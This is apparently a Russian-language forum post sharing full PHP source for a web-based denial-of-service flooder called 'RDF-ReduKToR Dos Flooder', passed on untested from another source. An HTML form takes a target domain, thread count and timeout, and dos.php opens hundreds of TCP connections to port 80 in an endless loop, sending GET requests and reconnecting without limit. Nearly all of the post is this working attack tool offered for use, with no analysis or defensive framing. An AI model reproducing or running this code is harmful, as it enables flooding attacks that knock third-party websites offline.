Взял у Турков,сам не проверял.
index.php
Код:
<?php
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=windows">
<meta name="author" content="">
<title>RDF-ReduKToR Dos Flooder</title>
</head>
<style type="text/css">
<!--
body {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
font-style: normal;
line-height: normal;
color: #C1C1C7;
background-color: #2B2F34;
}
.стиль1 {color: #FF0000}
.стиль4 {
font-size: 24px;
color: #FFFF00;
}
-->
</style>
<center><img src="logo.gif" alt="logo,dos,attack,reduktor,php,coded,link"></center>
<body>
<table>
<form action="dos.php" method="POST">
<tr>
<td>Link:</td>
<td><input type="text" name="host" >(Адрес сайта(пример:domen.com)</td>
</tr>
<tr>
<td>Streams:</td>
<td><input type="text" name="kolvo" >(Количество потоков(норма:500)</td>
</tr>
<tr>
<td>Time:</td>
<td><input type="text" name="time" >(Таймаут Соединения)</td>
</tr>
<tr>
<td colspan="2"><input type="submit" value="Dos" name="submit" ></td>
</tr>
</form>
</table>
<p> </p>
<p> </p>
<p> </p>
<b><center>C0deD by ReduKToR</center></b>
</center>
</body>
</html>dos.php
Код:
<?
set_time_limit(0);
ignore_user_abort(1);
function dos(){
$conf=array();
$conf[host]= $_POST['host'];
$conf[port]=80;
$conf[timeout]= $_POST['time'];
$conf[count]= $_POST['kolvo'];
/* mthread start */
$hosts=array();
for ($i=0; $i<$conf[count]; $i++) $hosts=connect($conf,$hosts,$i);
while(1){
$write=$hosts[sockets];
$n=stream_select($read=null,$write,$e=null,$conf[timeout]);
if ($n>0){
foreach ($write as $fp){
$hash=array_search($fp,$hosts[sockets]);
$hosts=my_write($hosts,$fp,$hash,$conf);
unset($hash);
}
}else{
foreach ($hosts[sockets] as $hash=>$socket){
$hosts[status][$hash]='timeout';
fclose($socket);
unset($hosts[sockets][$hash]);
}
}
/*$read=$hosts[sockets];
$n=stream_select($read,$write=null,$e=null,$conf[timeout]);
if ($n>0){
foreach ($read as $fp){
$hash=array_search($fp,$hosts[sockets]);
$hosts=my_read($hosts,$fp,$hash);
unset($hash);
foreach ($hosts[status] as $v){
if ($v[status]=='done'){
$eval='$'.$v[engine].'='.$v[engine].'($q,$page,$qnum,$v[data]);';
eval($eval);
}
}
}
}else{
foreach ($hosts[sockets] as $hash=>$socket){
fclose($socket);
$hosts[status][$hash]='timeout';
unset($hosts[sockets][$hash]);
}
}*/
usleep(50000);
$count=count($hosts[sockets]);
if ($count<$conf[count]){
$n=$conf[count]-$count;
echo chr(0xd)."dosing $n new connections!";
for ($i=0; $i<$n; $i++) $hosts=connect($conf,$hosts,$i);
}
}
}
function my_write($hosts,$fp,$hash,$conf){
$fp=$hosts[sockets][$hash];
if ($hosts[status][$hash]=='opened'){
$headers="GET / HTTP/1.1\r\n";
$headers.="Host: $conf[host]\r\n";
$headers.="User-agent: Opera/9.27 (X11; Linux i686; U; ru)\r\n";
$headers.="Connection: Keep-Alive\r\n";
$headers.="\r\n";
if (fwrite($fp,$headers)) $hosts[status][$hash]='wr';
else $hosts[status][$hash]='bad';
fclose($fp);
unset($hosts[sockets][$hash]);
}
return $hosts;
}
/*
function my_read($hosts,$fp,$hash){
if ($hosts[status][$hash][status]=='wr'){
while ($recieved=fread($fp,32)) $output.=$recieved;
if ($output){
$ret=explode("\r\n\r\n",$output);
if (stripos($ret[0],'200 OK')!==false){
for ($i=1; $i<count($ret); $i++) $hosts[status][$hash][data].=$ret[$i];
$hosts[status][$hash][status]='done';
}else $hosts[status][$hash][status]='bad';
}
fclose($fp);
unset($hosts[sockets][$hash]);
}
return $hosts;
}*/
/*function oi($arr){
foreach ($arr as $v) if ($v[status]=='opened') return true;
return false;
}*/
function connect($conf,$hosts,$i){
$socket=stream_socket_client("tcp://$conf[host]:$conf[port]",$errno,$errstr,$conf[timeout],STREAM_CLIENT_ASYNC_CONNECT|STREAM_CLIENT_CONNECT);
if ($socket){
$hash=sha1(mt_rand(0,99999).time().mt_rand(0,7).$i);
$hosts[sockets][$hash]=&$socket;
$hosts[status][$hash]='opened';
unset($socket);
}
return $hosts;
}
dos();
?>




